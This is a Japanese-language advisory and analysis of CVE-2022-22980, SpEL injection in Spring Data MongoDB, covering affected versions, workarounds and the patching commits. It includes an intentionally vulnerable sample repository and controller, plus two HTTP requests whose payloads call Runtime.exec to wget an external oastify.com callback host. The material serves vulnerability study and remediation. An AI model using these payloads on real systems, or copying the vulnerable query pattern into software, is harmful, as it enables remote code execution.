
[CVE-2022-22980] Spring Data MongoDB SpEL式インジェクション
[CVE-2022-22980] Spring Data MongoDB SpEL式インジェクション
MongoDB は、大量のデータストレージに使用される、スケーラブルかつ柔軟性のあるドキュメント指向のNoSQLデータベースです。従来のリレーショナルデータベースのようにテーブルや行を使用する代わりに、MongoDBはコレクションとドキュメントを利用します。ドキュメントはキーと値のペアで構成され、MongoDBにおけるデータの基本単位です。
Spring Data for MongoDB は、包括的なSpring Dataプロジェクトの一部であり、新しいデータストアに対して親しみやすく一貫性のあるSpringベースのプログラミングモデルを提供しつつ、ストア固有の機能や能力を保持することを目的としています。Spring Data MongoDBプロジェクトは、MongoDBドキュメントデータベースとの統合を提供します。Spring Data MongoDBの主要な機能領域は、MongoDBのDBCollectionと対話するためのPOJO中心のモデルと、リポジトリスタイルのデータアクセス層を簡単に記述できることです。
2022年6月20日、VMwareは公式サイトで、Spring Data MongoDBに影響を与えるSpEL式インジェクション(リモートコード実行に繋がる)脆弱性に関するセキュリティアドバイザリを公開しました。CVE-2022-22980 脆弱性の詳細情報は以下を参照してください。
脆弱性
Spring Data MongoDBアプリケーションは、@Query または @Aggregation アノテーション付きのクエリメソッドで、値バインディングのためにSpEL式内にクエリパラメータプレースホルダを含むSpEL式を使用し、入力がサニタイズされていない場合、SpELインジェクションに対して脆弱です。または、追加のアプリケーションコードを伴わずにリポジトリクエリメソッドを公開する設定(Spring Data RESTなど)も脆弱です。
具体的には、以下のすべてが当てはまる場合、アプリケーションは脆弱です:
@Query@Aggregation?0?1以下のいずれかが当てはまる場合、アプリケーションは脆弱ではありません:
QueryMethodEvaluationContextProvider を使用してSpELの使用を制限するように構成されている影響を受けるバージョン
Spring Data MongoDB 3.4.0、3.3.0~3.3.4、およびそれ以前のバージョンは、CVE-2022-22980 Spring Data MongoDB SpEL式インジェクション 脆弱性の影響を受けます。
ステータス
修正を含むSpring Data MongoDB 3.4.1および3.3.5がリリースされています。
緩和策と推奨される回避策
推奨される対応は、Spring Data MongoDB 3.4.1および3.3.5以上にアップデートすることです。これを行った場合、回避策は必要ありません。ただし、アップグレードが迅速に行えない状況にある場合もあります。そのため、Springチームは以下の回避策を提供しています。
配列構文の使用: アプリケーションがユーザー入力によって制御される動的なSpEL式を必要とする場合、式内でパラメータ参照(?0 の代わりに [0])を使用するようにクエリまたは集約の宣言を書き直すカスタムリポジトリメソッドの実装: SpEL式をカスタムリポジトリメソッドの実装に置き換えることは、アプリケーションコード内で動的クエリを組み立てるための有効な回避策です。詳細については、リポジトリのカスタマイズに関するリファレンスドキュメントを参照してください。パッチ分析:GitHub Issueと関連コミット
SpELインジェクション脆弱性に関するGitHub Issueは github.com/spring-projects/spring-data-mongodb/issues/4089 からアクセスできます。
以下の2つのコミットにより、関連する脆弱性が修正されました。
これらのコミットにより、spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/EvaluationContextExpressionEvaluator.java クラスが追加されました。
class EvaluationContextExpressionEvaluator implements SpELExpressionEvaluator {
ValueProvider valueProvider;
ExpressionParser expressionParser;
Supplier<EvaluationContext> evaluationContext;
public EvaluationContextExpressionEvaluator(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this.valueProvider = valueProvider;
this.expressionParser = expressionParser;
this.evaluationContext = evaluationContext;
}
@Nullable
@Override
public <T> T evaluate(String expression) {
return evaluateExpression(expression, Collections.emptyMap());
}
public EvaluationContext getEvaluationContext(String expressionString) {
return evaluationContext != null ? evaluationContext.get() : new StandardEvaluationContext();
}
public SpelExpression getParsedExpression(String expressionString) {
return (SpelExpression) (expressionParser != null ? expressionParser : new SpelExpressionParser())
.parseExpression(expressionString);
}
public <T> T evaluateExpression(String expressionString, Map<String, Object> variables) {
SpelExpression expression = getParsedExpression(expressionString);
EvaluationContext ctx = getEvaluationContext(expressionString);
variables.entrySet().forEach(entry -> ctx.setVariable(entry.getKey(), entry.getValue()));
Object result = expression.getValue(ctx, Object.class);
return (T) result;
}
}

spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java クラスも以下のように修正されました。

spring-projects/spring-data-mongodb/blob/main/spring-data-mongodb/src/main/java/org/springframework/data/mongodb/util/json/ParameterBindingContext.java クラスの最終版(修正済み)は以下の通りです:
package org.springframework.data.mongodb.util.json;
import java.util.Map;
import java.util.function.Function;
import java.util.function.Supplier;
import org.springframework.data.mapping.model.SpELExpressionEvaluator;
import org.springframework.data.spel.ExpressionDependencies;
import org.springframework.data.util.Lazy;
import org.springframework.expression.EvaluationContext;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.lang.Nullable;
/**
* Reusable context for binding parameters to a placeholder or a SpEL expression within a JSON structure. <br />
* To be used along with {@link ParameterBindingDocumentCodec#decode(String, ParameterBindingContext)}.
*
* @author Christoph Strobl
* @author Mark Paluch
* @since 2.2
*/
public class ParameterBindingContext {
private final ValueProvider valueProvider;
private final SpELExpressionEvaluator expressionEvaluator;
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext
*/
public ParameterBindingContext(ValueProvider valueProvider, SpelExpressionParser expressionParser,
EvaluationContext evaluationContext) {
this(valueProvider, expressionParser, () -> evaluationContext);
}
/**
* @param valueProvider
* @param expressionParser
* @param evaluationContext a {@link Supplier} for {@link Lazy} context retrieval.
* @since 2.2.3
*/
public ParameterBindingContext(ValueProvider valueProvider, ExpressionParser expressionParser,
Supplier<EvaluationContext> evaluationContext) {
this(valueProvider, new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, evaluationContext));
}
/**
* @param valueProvider
* @param expressionEvaluator
* @since 3.1
*/
public ParameterBindingContext(ValueProvider valueProvider, SpELExpressionEvaluator expressionEvaluator) {
this.valueProvider = valueProvider;
this.expressionEvaluator = expressionEvaluator;
}
/**
* Create a new {@link ParameterBindingContext} that is capable of expression parsing and can provide a
* {@link EvaluationContext} based on {@link ExpressionDependencies}.
*
* @param valueProvider
* @param expressionParser
* @param contextFunction
* @return
* @since 3.1
*/
public static ParameterBindingContext forExpressions(ValueProvider valueProvider, ExpressionParser expressionParser,
Function<ExpressionDependencies, EvaluationContext> contextFunction) {
return new ParameterBindingContext(valueProvider,
new EvaluationContextExpressionEvaluator(valueProvider, expressionParser, null) {
@Override
public EvaluationContext getEvaluationContext(String expressionString) {
Expression expression = getParsedExpression(expressionString);
ExpressionDependencies dependencies = ExpressionDependencies.discover(expression);
return contextFunction.apply(dependencies);
}
});
}
@Nullable
public Object bindableValueForIndex(int index) {
return valueProvider.getBindableValue(index);
}
@Nullable
public Object evaluateExpression(String expressionString) {
return expressionEvaluator.evaluate(expressionString);
}
@Nullable
public Object evaluateExpression(String expressionString, Map<String, Object> variables) {
if (expressionEvaluator instanceof EvaluationContextExpressionEvaluator) {
return ((EvaluationContextExpressionEvaluator) expressionEvaluator).evaluateExpression(expressionString,
variables);
}
return expressionEvaluator.evaluate(expressionString);
}
public ValueProvider getValueProvider() {
return valueProvider;
}
}
また、ParameterBindingJsonReader.java クラスの再配置により、クエリまたは集約アノテーションの値内で使用されるパラメータをバインドする際に、パラメータタイプが保持されることが保証されました。以下のスクリーンショットで、ParameterBindingJsonReader.java クラスのコミット変更を確認できます。



攻撃手順
攻撃手順を説明する前に、サンプル脆弱性プロジェクト(@Query アノテーション使用)の UserRepository.java クラスを以下に示します:
package com.example.mongodb.repository;
import org.springframework.data.mongodb.repository.MongoRepository;
import com.example.mongodb.model.User;
import org.springframework.data.mongodb.repository.Query;
public interface UserRepository extends MongoRepository<User, String> {
@Query("{ 'userName' : ?#{?0}}")
public User findByUserNameLike(String userName);
}
com.example.mongodb.repository.UserRepository 名前空間をインポートするサンプルコントローラクラス UserController.java も以下に示します:
package com.example.mongodb.controller;
import com.example.mongodb.model.User;
import com.example.mongodb.repository.UserRepository;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseStatus;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.http.HttpStatus;
import java.io.UnsupportedEncodingException;
import java.net.URLDecoder;
@RestController
@RequestMapping("/v1/user")
public class UserController {
@Autowired
private UserRepository userRepository;
@ResponseStatus(HttpStatus.CREATED)
@PostMapping(consumes = MediaType.APPLICATION_JSON_VALUE)
public User createUser(@RequestBody User user) {
return userRepository.save(user);
}
@PostMapping(value="/get")
public User readUserById(@RequestParam("keyword") String id) throws UnsupportedEncodingException {
return userRepository.findByUserNameLike(URLDecoder.decode(id, "utf-8"));
}
攻撃リクエストとレスポンス
POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
keyword=T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('wget+98fj4ailoo81u7rkveuwur8hf8l09p.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:21:20 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:21:20.604+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

POST /v1/user/get HTTP/1.1
Host: vulnerablehost:9090
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
keyword=T(java.lang.Runtime).getRuntime().exec('wget+og8ycpq0w3gg2mzz3t2b26gwnntgh5.oastify.com/CVE-2022-22980')
HTTP/1.1 500
Content-Type: application/json
Date: Wed, 22 Jun 2022 14:36:10 GMT
Connection: close
Content-Length: 112
{
"timestamp": "2022-06-22T14:36:10.827+00:00",
"status": 500,
"error": "Internal Server Error",
"path": "/v1/user/get"
}

この脆弱性の修復に関する詳細情報は、以下のリソースを参照してください:
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